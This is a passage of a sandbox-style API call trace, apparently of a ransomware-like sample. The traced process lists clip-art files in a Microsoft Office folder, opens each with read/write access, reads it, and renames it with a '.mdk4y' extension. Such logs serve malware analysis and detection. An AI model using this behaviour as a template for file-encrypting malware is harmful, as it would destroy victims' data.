[0151.364] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.364] AreFileApisANSI () returned 1 [0151.364] GetACP () returned 0x4e4 [0151.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0146142.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0146142.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822659500000) returned 1 [0151.365] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb5ac, lpOverlapped=0x0) returned 1 [0151.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822662700000) returned 1 [0151.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822662700000) returned 1 [0151.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.mdk4y")) returned 1 [0151.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.398] AreFileApisANSI () returned 1 [0151.398] GetACP () returned 0x4e4 [0151.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0148309.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0148309.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.398] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822663100000) returned 1 [0151.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaa9a, lpOverlapped=0x0) returned 1 [0151.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822663300000) returned 1 [0151.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822663300000) returned 1 [0151.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.mdk4y")) returned 1 [0151.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.404] AreFileApisANSI () returned 1 [0151.404] GetACP () returned 0x4e4 [0151.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0148757.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0148757.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822663400000) returned 1 [0151.404] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x107d4, lpOverlapped=0x0) returned 1 [0151.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822664100000) returned 1 [0151.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822664100000) returned 1 [0151.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.mdk4y")) returned 1 [0151.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.412] AreFileApisANSI () returned 1 [0151.412] GetACP () returned 0x4e4 [0151.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0148798.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0148798.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822664200000) returned 1 [0151.413] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x955d, lpOverlapped=0x0) returned 1 [0151.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822669300000) returned 1 [0151.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822669300000) returned 1 [0151.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.mdk4y")) returned 1 [0151.464] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.464] AreFileApisANSI () returned 1 [0151.464] GetACP () returned 0x4e4 [0151.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149018.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149018.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822669500000) returned 1 [0151.465] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6b01, lpOverlapped=0x0) returned 1 [0151.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822672100000) returned 1 [0151.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822672100000) returned 1 [0151.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.mdk4y")) returned 1 [0151.492] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.492] AreFileApisANSI () returned 1 [0151.492] GetACP () returned 0x4e4 [0151.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149118.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149118.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822672300000) returned 1 [0151.493] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfd22, lpOverlapped=0x0) returned 1 [0151.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822677100000) returned 1 [0151.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822677100000) returned 1 [0151.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.mdk4y")) returned 1 [0151.543] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.543] AreFileApisANSI () returned 1 [0151.543] GetACP () returned 0x4e4 [0151.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0150150.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0150150.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.543] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822677400000) returned 1 [0151.544] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb544, lpOverlapped=0x0) returned 1 [0151.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822681200000) returned 1 [0151.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822681200000) returned 1 [0151.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.mdk4y")) returned 1 [0151.584] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.584] AreFileApisANSI () returned 1 [0151.584] GetACP () returned 0x4e4 [0151.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0150861.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0150861.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822681400000) returned 1 [0151.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x212e, lpOverlapped=0x0) returned 1 [0151.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822684500000) returned 1 [0151.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822684500000) returned 1 [0151.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.mdk4y")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.616] AreFileApisANSI () returned 1 [0151.616] GetACP () returned 0x4e4 [0151.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151041.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151041.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.616] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822684700000) returned 1 [0151.618] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1104, lpOverlapped=0x0) returned 1 [0151.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822687300000) returned 1 [0151.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822687300000) returned 1 [0151.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.mdk4y")) returned 1 [0151.644] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.644] AreFileApisANSI () returned 1 [0151.644] GetACP () returned 0x4e4 [0151.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151045.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151045.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822687500000) returned 1 [0151.645] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c68, lpOverlapped=0x0) returned 1 [0151.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822688600000) returned 1 [0151.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822688600000) returned 1 [0151.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.mdk4y")) returned 1 [0151.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.657] AreFileApisANSI () returned 1 [0151.657] GetACP () returned 0x4e4 [0151.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151047.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151047.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.657] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822688700000) returned 1 [0151.657] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4844, lpOverlapped=0x0) returned 1 [0151.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822695500000) returned 1 [0151.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822695500000) returned 1 [0151.726] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.mdk4y")) returned 1 [0151.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.729] AreFileApisANSI () returned 1 [0151.729] GetACP () returned 0x4e4 [0151.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151055.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151055.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.729] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822696000000) returned 1 [0151.730] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3928, lpOverlapped=0x0) returned 1 [0151.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822697200000) returned 1 [0151.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822697200000) returned 1 [0151.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.mdk4y")) returned 1 [0151.743] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.743] AreFileApisANSI () returned 1 [0151.743] GetACP () returned 0x4e4 [0151.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151061.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151061.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.743] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822697400000) returned 1 [0151.744] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a60, lpOverlapped=0x0) returned 1 [0151.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822700200000) returned 1 [0151.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822700300000) returned 1 [0151.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.mdk4y")) returned 1 [0151.774] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.774] AreFileApisANSI () returned 1 [0151.774] GetACP () returned 0x4e4 [0151.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151063.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151063.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822700500000) returned 1 [0151.775] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2988, lpOverlapped=0x0) returned 1 [0151.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822701900000) returned 1 [0151.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822701900000) returned 1 [0151.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.mdk4y")) returned 1 [0151.790] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.790] AreFileApisANSI () returned 1 [0151.790] GetACP () returned 0x4e4 [0151.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151067.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151067.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.791] 